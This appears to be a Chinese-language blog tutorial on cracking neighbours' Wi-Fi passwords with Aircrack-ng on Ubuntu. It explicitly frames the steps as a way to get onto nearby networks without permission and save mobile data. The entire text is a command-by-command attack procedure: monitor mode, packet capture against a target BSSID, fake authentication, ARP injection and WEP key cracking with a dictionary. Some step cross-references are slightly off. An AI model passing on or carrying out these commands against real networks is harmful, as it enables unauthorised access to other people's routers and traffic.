大家都曾经遇到过附近有WiFi但是需要密码才能连接的烦恼。今天,我将教大家如何破解WiFi密码,这样就不用担心流量用完了。我将使用Ubuntu系统,如果你没有Linux系统,至少需要在Windows中安装Ubuntu。
-
安装Aircrack-ng。在终端中输入以下命令:sudo apt-get install aircrack-ng
-
启动无线网卡的监控模式。在终端中输入:sudo airmon-ng start wlan0
-
查看正在工作的无线路由器。在终端中输入:sudo airodump-ng mon0,然后按下Ctrl+C退出,但保留终端窗口。
-
抓包。打开另一个终端窗口,输入以下命令:sudo airodump-ng -c 6 –bssid 11:22:33:44:55:66 -w wep mon0
(其中,-c后面的数字6是要破解的路由器的工作频道,–bssid后面的11:22:33:44:55:66是目标无线路由器的MAC地址,-w后面的wep是抓取的数据包文件名,你可以随意命名。在第2步中可以查看正在工作的无线路由器的频道和MAC地址。) -
注入破解。要与目标路由器建立虚拟连接,再打开一个终端窗口,输入以下命令:sudo aireplay-ng -1 0 -a 11:22:33:44:55:66 -h aa:bb:cc:dd:ee:ff mon0
(其中,-h后面的aa:bb:cc:dd:ee:ff是你自己无线网卡的MAC地址,如果不知道,可以在终端中输入ifconfig查看。) -
成功建立虚拟连接后,输入以下命令进行注入:sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 11:22:33:44:55:66 -h aa:bb:cc:dd:ee:ff mon0
(注入破解的目的是加快抓包的速度。) -
收集15000个以上的数据包后,打开另一个终端窗口,输入以下命令进行解密:sudo aircrack-ng wep*.cap
(注意,这里的命令中的文件名要与第4步中的一致。)
请指定一个字典(选项-w)。这是提示找不到字典。然后输入aircrack-ng -w 字典 wep-01.cap开始破解。
- 破解出密码后,在终端中输入sudo airmon-ng stop mon0关闭监控模式,否则无线网卡会一直向刚刚的无线路由器进行注入。
请注意,Aircrack-ng不包含字典文件,你需要将BT6中的字典文件或者自己生成的字典文件放到Ubuntu的主文件夹中,并以xxx.txt格式命名。